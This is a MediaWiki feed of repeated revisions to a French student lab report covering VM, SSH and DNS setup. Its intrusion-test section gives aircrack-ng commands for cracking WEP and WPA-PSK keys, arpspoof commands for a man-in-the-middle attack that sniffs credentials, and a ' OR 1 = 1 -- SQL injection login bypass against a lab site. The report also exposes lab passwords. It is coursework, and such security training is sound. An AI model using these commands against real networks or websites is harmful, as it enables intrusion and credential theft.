Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InjectionSQL.PNG&amp;diff=55111</id>
		<title>Fichier:InjectionSQL.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InjectionSQL.PNG&amp;diff=55111"/>
				<updated>2020-12-21T16:32:26Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55110</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55110"/>
				<updated>2020-12-21T16:31:45Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:injectionSQL.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55109</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55109"/>
				<updated>2020-12-21T16:31:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[injectionSQL.png]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55108</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55108"/>
				<updated>2020-12-21T16:30:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
